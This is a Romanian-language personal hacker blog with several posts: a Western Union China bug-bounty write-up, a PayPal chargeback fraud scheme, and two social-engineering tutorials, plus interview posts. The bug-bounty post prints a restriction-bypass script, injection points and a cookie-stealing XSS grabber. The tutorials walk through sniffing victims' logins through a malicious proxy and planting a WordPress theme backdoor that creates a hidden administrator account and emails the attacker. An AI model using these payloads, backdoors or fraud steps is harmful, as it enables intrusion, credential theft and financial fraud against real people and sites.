Saturday, May 16, 2015

Auditing WesternUnion China - Bug Bounty Program

INTRODUCTION

Acum vreo 3 săptămâni am început serios să caut vulnerabilități în WesternUnion după ce am văzut că s-au înscris într-un program de bug bounty. Pentru necunoscători, semnificația unui program de bug bounty este aceea de: găsește o vulnerabilitate în sistemele noastre și noi te răsplătim cu o sumă de bani în funcție de impactul ei. Până acum sună frumos, dar există o mulțime de dezavantaje în comparație cu avantajele oferite.

Avantajul ar fi că în loc de o echipă de pentesteri limitată din punct de vedere numeric poți avea auditate serverele de sute de mii de oameni care lucrează în domeniu sau care sunt freelanceri. Unul din marele dezavantaje ar fi că dai acordul tuturor potențialilor atacatori rau intenționați să umble nestingheriți prin lucrurile tale, ei putând foarte ușor să vândă (neputând fi acuzați de acces neautorizat) ceea ce găsesc pe piața neagră. Dar să nu ne abatem prea mult de la subiect.

Din lista de domenii valide pentru acest program am ales să caut vulnerabilități în WesternUnion China (www.WesternUnion.cn). După o scurtă perioadă de timp am găsit câteva vulnerabilități ce s-au dovedit a fi duplicate (raportate de alții). Dar asta nu m-a descurajat să caut în continuare.

După câteva ore de auditare, am găsit următoarele:
  • Restricted files bypass
  • MySQL Injection
  • Arbitrary File Download
  • Cross-Site Scripting
  • Information Exposure
  • Multiple Session Vulnerabilities
Voi detalia în ordine cronologică vulnerabilitățiile identificate.

Information Exposure

În urma unei scanări (bruteforce) de fișiere și directoare pe domeniul www.WesternUnion.cn am găsit un fișier interesant numit: awstats.pl. Pentru ce este folosit acest fișier mai exact? AWstats este un tool de analiză a log-urilor web (mai multe citiți aici). Cu ajutorul acestei "vulnerabilități" am obținut calea folder-ului wu_admin și fișierele:

http://westernunion.cn/wu_admin/login.php
http://westernunion.cn/wu_admin/import.php
http://westernunion.cn/wu_admin/edit.php
http://westernunion.cn/wu_admin/view.php
http://westernunion.cn/wu_admin/export.php
http://westernunion.cn/wu_admin/search.php



Restricted files bypass

Până acum nu am obținut nimic critic, dar în urma analizării HTTP Response-ului (http://westernunion.cn/wu_admin/view.php) am observat ceva ce nu părea în regulă:

HTTP Request
GET /wu_admin/view.php HTTP/1.1
Host: westernunion.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fqgk2t3o85sumlu0vdlfdnr961
Connection: keep-alive

HTTP Response
HTTP/1.1 302 Found
Date: Mon, 20 Apr 2015 00:01:32 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Location: login.php
Content-Length: 6148
Connection: close
Content-Type: text/html; charset=utf-8

Din acest HTTP Response putem afla că fișierul view.php există (HTTP/1.1 302 Found), după care suntem redirecționați către login.php (Location: login.php). Dar ceva lipsește din tag-ul Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 și anume max-age=^value^. Și dacă lipsește, ce se întâmplă? Păi opțiunea "max-age" indică cât de mult un response poate fi cached, deci din asta reiese că o sesiune validă nu va expira vreodată.  Pentru a evita această problemă trebuie setat max-age=0.

Știm că un browser modern (Chrome / Mozilla / Safari / chiar și IE, etc) tinde să nu bage în seamă header-ul "Expires", dar dacă folosim cURL pentru a împiedica redirect-ul?

WU-PoC.sh
#!/bin/bash
#  Name: Bypass - Restricted files
#  URL : WesternUnion.cn - Proof of Concept
#
#  +-------------------------------------+
#  | root@PwN:~# nc westernunion.cn 80   |
#  | GET /wu_admin/FILE.EXT HTTP/1.1     |
#  | Host: westernunion.cn               |
#  | Accept-Encoding: gzip, deflate      |
#  +-------------------------------------+
#
#  Found by Razvan Cernaianu a.k.a TinKode @ www.CyberSmartDefence.com

curl "http://westernunion.cn/wu_admin/$1" 2>/dev/null > $2

A mers! Acum putem accesa pagina view.php fără a fi autentificați.


Arbitrary File Download

Cu ajutorul vulnerabilității de mai sus am putut să obțin toți parametrii din filele aferente. Așadar am văzut că fila export.php are parametrul table ce ne permite să descărcăm anumite informații dintr-un tabel din baza de date principală (de exemplu: tabelul cn) în format xls. Lista era predefinită pentru fiecare agent WesternUnion, dar dacă se poate mai mult? 

URL Request

http://www.westernunion.cn/wu_admin/export.php?table=information_schema.tables--+--  
HTTP Response
HTTP/1.1 302 Found
...
Expires: Thu, 19 Nov 1981 08:52:00 GMT
...
Content-Disposition: attachment;filename="20150420215741_information_schema.tables--+--.xls"
...
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet 

Cu această vulnerabilitate am putut să descarc tabelul admin_manager unde erau toți administratorii Western Union China.




MySQL Injection

Următoarea filă pe listă a fost edit.php cu parametrii id, page,table. Parametrul id & table erau vulnerabili la MySQL Injection. Exploatarea fiind realizată neautentificat.

URL
http://www.westernunion.cn/wu_admin/edit.php?id=1[SQLi]&page=0&table=cn[SQLi]


Cross-Site Scripting

Dacă nu găseam și niște XSS-uri ca să fur câteva cookie-uri, parcă nu mă simțeam complet :)).

URL
http://westernunion.cn/wu_admin/view.php?page=5&view=1&table=kr[XSS]  

http://westernunion.cn/wu_admin/search_show.php 

POST: selected_table=kr[XSS]&page=&agent_id=1&location_id=&phone_countrycode=
&phone_areacode=&phone=&phone2=&fax=&postal_code=&province_kr=&province_en=&city_kr=
&city_en=&address_kr=&address_en=&agent_kr=&agent_en=&location_kr=&location_en=



Mi-a fost cerut un Proof of Concept pentru a arăta cum pot fura cookie-urile administratorilor. Așa că am făcut un simplu cookie grabber.

grab.php
<?php
$cookie = $_GET['c'];
$fp = fopen('log.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br><br>');
fclose($fp);
?>
steal.html
<html>
<body>
<center>
<iframe width="100" height="0" src="http://westernunion.cn/wu_admin/view.php?page=5&view=1&table=<script>document.location='http://127.0.0.1/xss_poc/grab.php?c='%2bdocument.cookie;</script>" />
</center>
</body>
</html> 



Multiple Session Vulnerabilities

  • Session Fixation
  • Sesiunea nu este reînnoită automat
  • Sesiunea nu este distrusă atunci când un administrator se deconectează din contul său.

Session Fixation: Este un atac care permite unui atacator să seteze victimei sesiunea pe care acesta o dorește. Acest scenariu este realizabil doar cu ajutorul (altei vulnerabilități) unui XSS spre exemplu. Mai multe puteți citi aici.

Sesiunea nu este reînnoită automat: Asta înseamnă că un administrator va avea aceași sesiune înainte și după logare. Dacă un atacator obține orice tip de sesiune (validă/invalidă) prin orice mijloace, el ar putea să se autentifice. De ce am specificat și "o sesiune invalidă"? Deoarece acea sesiune invalidă va deveni la un moment dat validă (când administratorul se autentifică). Atacatorul poate crea un cronjob să dea refresh la pagină din oră în oră pentru a verifica dacă este logat.

Sesiunea nu este distrusă atunci când un administrator se deconectează din contul său permitând unui atacator să facă bruteforce după o sesiune validă (șansele fiind foarte mari deoarece  pot exista mii se sesiuni valide).



Concluzia

Este una simplă având în vedere că pentru toate acestea am primit doar $2,600.
  • MySQL Injection (Impact - Critic): $1.000
  • Arbitrary File Download (Impact - Critic): $1.000
  • Information Exposure (Impact - Mic-Mediu): $200
  • 2 XSS (Impact - Ridicat): $400
  • Multiple Session Vulnerabilities (Impact - Mediu): $0
  • Restricted Files Bypass (Impact - Critic): $0 deoarece este duplicată (răspunsul lor: intră laolaltă cu restul de vulnerabilități raportate) - SERIOS?

Am uitat să menționez că sumele plătite în programul lor pentru bug-urile valide sunt cuprinse între $100 - $5,000. Eu chiar am rămas stupefiat când am văzut asta. Curiozitatea mea cea mai mare rămâne: pentru ce tip de vulnerabilități și ce impact să aibe, plătesc $2,000, $3000, $4000, $5000.

Pe scurt puteți nota și acest dezavantaj în lista voastră dacă participați la un astfel de program. Acestea fiind spuse, ei au obținut un audit complet a domeniului www.WesternUnion.cn (13 vulnerabilități raportate) iar eu am obținut $2,600 și locul 1 în topul lor world wide (Hall of Fame). Foarte echitabil, nu!?




THE END

Share on:


Tags: , , , , , , , , ,  

Saturday, October 11, 2014

My interview for M6 France

ABOUT

  • Television Channel: M6 France
  • The name of show : Zone Interdite
  • Title: Privacy in jeopardy / Why we are all concerned

LINK TO VIDEO

You can watch the interview (skip to 01:19:00 to see me) on YouTube : https://www.youtube.com/watch?v=hd4lJZZ_Y30

THE END

Share on:


Tags: , , , , , , , , , , , , , ,  

Wednesday, June 11, 2014

Safely double your money with PayPal

 

ABOUT

În următoarele rânduri voi explica o metodă cu ajutorul căreia vă puteți dubla banii din contul de paypal... la nesfârșit. Probabil toți o să credeți că am găsit o vulnerabilitate web. Din păcate este vorba despre ceva mult mai grav. Ca sa fiu mai exact este o problemă cu TOS-ul lor.

Prin anul 2010 am făcut o tranzacție pe paypal cu o persoană ce a încercat să mă înșele folosind funcția chargeback. Cum eu nu îmi țineam niciodată banii pe acel cont de paypal, i-am transferat pe contul meu real. După o lună de zile când am intrat din nou pe acel cont am observat că am balanță negativă și anume -50$. Asta m-a pus pe gânduri puțin. De ce? Pentru că m-a făcut să mă gândesc la o situație care avea mai tarziu să reprezinte metoda perfectă de a îți dubla banii prin intermediul serviciului Paypal.
Am raportat metoda celor de la Paypal în cadrul programului lor de Bug Bounty, gândindu-mă că poate o să îmi ofere puțin feedback și v-a fi luată în calcul cu toate că nu reprezintă o vulnerabilitate web. Dar așa cum mă așteptam răspunsul lor a fost acesta (după aproape 1 lună jumatate):

Thank you for your patience while we completed our investigation. After reviewing your submission we have determined this is not a Bug Bounty issue, but one of our Protection Policy. While the abuse described here is possible in our system, repeated abusive behavior by the same and/or linked account(s) is addressed.

Thank you for your participation in our program.

Thanks,
eBay, Inc Bug Bounty Team

Primind un asemenea răspuns, consider că nu este nimic în neregulă dacă fac publice detaliile.

Să începem. În prima fază avem nevoie de 3 conturi de paypal ca în imaginea alăturată. Un cont este cel real (adică verificat cu card-ul nostru personal) iar celălalte două sunt verificate cu VCC-uri sau VBA-uri (VCC = Virtual Credit Card / VBA = Virtual Bank Account).

Ce este un VCC / VBA?
Virtual credit cards (sometimes called controlled payment numbers) are one service offered by some banks and credit card companies to help online shoppers protect against fraud. While they have their disadvantages, they are one of the best online safety measures currently available.

Read more: http://www.ehow.com/about_7228358_virtual-credit-card_.html

Deci avem pe contul nostru spre exemplu 500$. Acești bani îi vom trimite către al doilea cont cu pretextul că vrem să cumpărăm un telefon. De pe al doilea cont îi vom transfera în al treilea cont ca gift (cadou). După 24 de ore folosim funcția de chargeback de pe primul cont (cel real) pentru a ne restituii banii pentru că nu a ajuns la timp telefonul comandat. Cei de la Paypal vor deschide un proces unde amândouă părțile aduc dovezi prin care se vor apăra. Evident că doar primul cont o să trimită dovezi că a fost înșelat.

Când acest proces va fi încheiat banii vor fi restituiți iar contul numărul 2 va avea balanță negativă -500$. În felul acesta ne-am dublat suma inițială deoarece încă avem 500$ și în al treilea cont. Contul numărul 2 nu va fi niciodată încărcat cu bani de unde Paypal să îi retragă deoarece este un cont virtual.

Dacă gândim la scară largă unde ar fi implicate 20 de persoane, fiecare cu 500$ -- ar câștiga in 3 saptămâni aproximativ 10 000$.
+----------------------------------------------------------------+
| Author: TinKode a.k.a Razvan Cernaianu @ CyberSmartDefence.com |
| Name  : Safely double your money with PayPal                   |
| Impact: Critical                                               |
| Date  : 11.06.2014                                             |
| Email : info@cybersmartdefence.com                             |
+----------------------------------------------------------------+

THE END

Share on:


Tags: , , , , , , , , , , ,  

Friday, July 26, 2013

Spargerea oricărui cont al unei victime cu ajutorul ingineriei sociale

INTRODUCION

Ok. După cum v-am obişnuit îmi place să aduc câte ceva mai diferit. Astăzi vom discuta despre subiectul: "Cum putem sparge un cont (al unei victime) al oricărui site web cu ajutorul ingineriei sociale". Dar punctul culminant nu este ingineria socială, ci metoda prin care obţinem datele de autentificare în cazul cel mai bun (în plain text) sau putem să ne mulţumim doar cu sesiunea acestuia (care este totodată suficientă pentru a surfa în contul său).

CONCEPT

Care este ideea. Poate că mulţi dintre voi aţi auzit de Burp Suite. Este o platformă scrisă în java, special creată pentru cei care doresc să facă penetration testing. Ce m-a atras la prima vedere? O chestie interesantă legată de proxy. Pe scurt să creăm un server proxy cu ajutorul aplicaţiei prin care vom intercepta traficul victimelor ce folosesc proxy-ul nostru. Adică să facem sniffing, dar de la distanţă.

THE PROOF

Pentru a realiza un exemplu cât mai frumos şi clar, am luat legătura cu 311733 (că era online pe chat-ul unui board de securitate şi dornic să ma ajute) pentru a se pune în postura de victimă. Aşa că am început prin a configura Burp Suite-ul ca în imaginea aceasta. În acest moment mi-am transformat calculatorul într-un server proxy. După ce am convins victima să folosească HTTP proxy-ul în browser-ul său, vom putea să-i interceptăm nestingheriţi traficul ca în imaginea asta sau asta. Vedem sesiunea cu parola encriptată, care sunt mai mult decât necesare pentru a ne îndeplini scopul.

SOCIAL ENGINEERING EXAMPLE

Să presupunem că victima are nevoie urgentă de o metodă care să îi ascundă pentru câteva momente identitatea, aşa că voi îi veţi propune să folosească un HTTP proxy securizat spunându-i că e foarte bun că l-aţi mai folosit şi că aveţi încredere în el. După ce îl va configura, îî interceptaţi conturile (dacă datele de logare către acele site-uri se transmit în plain text), sau ca în pozele de mai devreme, encriptate. Alte scenarii pot fi născocite în câteva minute deoarece nu dă nimic de bănuit, gen: postaţi pe un forum HTTP proxy-ul iar cine îl foloseşte devine victimă. Trimiteţi către un administrator al unui forum un mesaj privat că nu ştiţi dacă aţi configurat bine acel proxy să îl verifice dacă este bun sau trebuie să încercaţi altul s.a.m.d

Sper că vă va fi de folos pe viitor acest tutorial. Baftă.

THE END

Share on:


Tags: , , , , , , , , , , ,  

Spargerea unui blog Wordpress cu ajutorul Ingineriei Sociale

INTRODUCTION


Sună foarte frumos şi defapt este foarte uşor. Tutorialul ce l-am creat astăzi pentru voi nu este o idee proprie. M-am inspirat din ceva ce am citit acum foarte mult timp, un scenariu foarte bine pus la punct legat de WordPress şi anume, cum putem să luăm acces la un blog cu eleganţă şi fără a lăsa urme ca să îşi dea seama proprietarul.

Să dăm un mic exemplu. Domnul Gheorghe vrea să spargă cât mai multe blog-uri de pe o anumită nişă web. Se gândeşte cum să facă un lucru de genul ăsta. Noroc că Gheorghe este foarte inventiv şi i-a venit în minte să creeze şi să "infecteze" o temă (theme) visuală.

Mulţi o să spuneţi că o să creeze un Remote Code / Command Execution (RCE). Dar nu. Pentru că ar lăsa urme. Aşa că va adăuga în temă un cod PHP care să adauge automat un nou cont cu drepturi de administrator.

THE CODE

add_action('wp_head', 'wp_wordpress');
      function wp_wordpress() {
                    if ($_GET['p'] == '1') {
                           require('wp-includes/registration.php');
                    if (!username_exists('wordpress')) {
      $user_id = wp_create_user('Guest', 'password');
      $user = new WP_User($user_id);
      $user->set_role('administrator');
        }
    }
} 
Ce face codul de mai sus? Dacă este adăugat spre exemplu în templates.php (am precizat această filă deoarece este executată automat când accesăm index-ul unui blog), oricine va intra pe următorul link: http://pentesting/wp/?p=1 (primul articol de pe blog) va crea în baza de date un nou cont cu drepturi de administrator şi cu numele: Guest şi parola password. O remarcă importantă ar fi aceea că tema instalată trebuie să fie şi cea activă.

Legat de ingineria socială vă descurcaţi voi că sunteţi baieţi isteţi cu mult timp liber. Puteţi posta online undeva tema şi să adaugaţi undeva anumite cuvinte pentru a crea un dork să puteţi găsi blog-urile infectate. Sau îl puteţi manipula chiar pe administrator să instaleze tema.

Ok. Ca să fie totul complet şi pentru că nu am fost mulţumit parcă dacă nu ajutam şi cu partea asta, adică cea în care sunteţi informaţi cu ce blog a fost infectat, pe email.

THE CODE

<? add_action('wp_head','wp_wordpressmail');
           function wp_wordpressmail(){
                     if ( is_user_logged_in() ) {
                     if(!username_exists('wordpress')){
     $addr='TinKode@domain.tld'; # Aici puneţi adresa voastră de email
     $judul='WP URL';
                   wp_mail($addr,$judul,get_bloginfo('wpurl'));
        }
     }
  }
?> 

Să vă bucuraţi de metodă. Şi ca să nu vă dea de gol adresa de mail, puteţi să o encriptaţi în base64.

Să nu uitaţi să stergeţi tag-urile PHP când adăugaţi în filă.

THE END

Share on:


Tags: , , , , , ,  

Friday, April 26, 2013

My Interview with Reuters

RPT-From hackers to security experts, the Balkan IT sector is booming 


  • Oracle, SAP, Hewlett Packard are in Romania and Bulgaria
  • Romania has become centre for computer hacking
  • Technology sector is a rare success in depressed economies

After hacking the Pentagon, NASA and Britain's Royal Navy for fun, TinKode got a real job as a computer security expert for a Romanian cyber safety consultancy. TinKode was the name used by Romanian Razvan Cernaianu when he revealed security holes in government and corporate systems across the world, earning him a two-year suspended prison sentence. "I was really passionate about carrying out what I call security audits," Cernaianu told Reuters "It's a hobby, so I did it for free. Moreover, I've always sent emails to those institutions to fix their problems." 

  Razvan Cernaianu, 21, is an example of a deep well of talent in Romania and Bulgaria. They may be the European Union's two poorest members, but their low labour costs, skilled workers and strategic location are underpinning a technology boom. Multinational companies are using their expertise for customer support, software development and business process outsourcing. Oracle, SAP, IBM, Hewlett Packard and Siemens all have business centres or operations in the region. Romania-founded GeCaD developed Microsoft's RAV antivirus software and Bucharest-based Softwin created BitDefender internet security technology more than a decade ago, reaching half a billion users worldwide last year. The expertise is partly accidental - in the 1980s, Romania's communist dictator Nicolae Ceausescu backed computer research and technical education to promote pride in the nation. Piracy flourished after the 1989 revolution as people who could not afford proprietary content bought cheap copies instead.

EXCEPTIONAL GROWTH. On the other side of the Danube, Bulgaria's communists focused on hardware, at one point producing and supplying 40 percent of all computers used in the Soviet bloc. The tech sector accounts for up to 10 percent of the two economies, according to business associations - a rare bright spot in the recession-hit Balkan region. Growth of the Romanian and Bulgarian IT sectors far outpaced the rest of ex-communist Europe, jumping by 45 percent and 80 percent respectively since their 2007 EU entry. Meanwhile, the tech sectors in Poland, Hungary and the Czech Republic each grew by about 20 percent.

Romania's tech sector achieved year-on-year growth of 40 percent in the final quarter of 2012, which helped the country to avoid slipping back into recession. Cernaianu, one of the world's most-wanted hackers until his arrest last year after a joint investigation by Romanian police, the FBI and NASA, now has a well-paid job and is co-owner of computer network security company CyberSmartDefence. But the dirty side of the expertise still lingers. Working from a tidy desk in a downtown Bucharest office, Cernaianu is from the same generation as the youngsters responsible for the Romanian town of Ramnicu Valcea becoming known as a global hacking hub. Romanian hackers stole about $1 billion from U.S. accounts in 2012, according to the U.S. embassy in Bucharest. A report by Verizon this week said that Romania is the world's second-biggest hacking centre behind China. The FBI has even set up an office in Romania and helped to train specialist police agents.

 Cernaianu says he never attacked a computer to steal money. "We won't hire thieves," said CyberSmartDefence CEO Madalin Dumitru. "We're not afraid of such people (as Cernaianu); we use their intelligence and expertise."

BRAIN DRAIN. The investment in business outsourcing has created an estimated 15,000 jobs in Bulgaria, where an otherwise depressed economy has sparked nationwide protests that toppled the government in February. "Why would you choose Bulgaria? Because it offers complex outsourcing and high-end software solutions," said Plamen Tilev, managing director of SAP Labs Bulgaria, which develops core software for the Germany company. "For low-end solutions, like code writing and checking, you'd go to east Asian countries."

 The biggest fear is that Romania and Bulgaria become victims of their own success and suffer a brain drain. Tens of thousands of Romanians and Bulgarians have already left to work as IT specialists in the United States. The populations of the two countries have plunged in the past decade and companies are pushing the governments to improve education, train more engineers and make it easier to bring in workers from neighbours such as Moldova, Serbia, Macedonia and Ukraine. "There has been zero unemployment in the sector in the past 10 years," said Elena Marinova, who runs software business Musala Soft, which is now struggling to find qualified staff despite salaries about three times the national average. Bulgarian universities produce about 2,000 IT specialists a year, but the industry says it creates 6,000 jobs a year in the country. " The software industry is struggling to breathe because of the lack of people," said Petar Statev, head of the Bulgarian business association ICT Cluster. (Editing by Sam Cage and David Goodman)

By Radu Marinas and Tsvetelia Tsolova BUCHAREST/SOFIA, April 26 (Reuters)
Source: Reuters.com 

Update: Varianta in limba romana (rezumat): http://adevarul.ro/tech/internet/reuters-1_517a9042053c7dd83f4cbe4b/index.html 
Share on:


Tags: , , , , , , , , , , , , , , ,  

Thursday, March 14, 2013

My first TV apparition - "Romania, Te iubesc: Hackerville"

PROMO

ABOUT

Prima mea aparitie TV. Video-ul de mai sus este un promo al emisiunii "Romania, Te Iubesc: HackerVille", in care este prezentat de aceasta data un reportaj despre hackerii romani si care va aparea duminica la data de 17.03.2013 pe ProTV, ora 18:00.

UPDATE - FULL VIDEO


THE END

Share on:


Tags: , , , , , , , , , , , , ,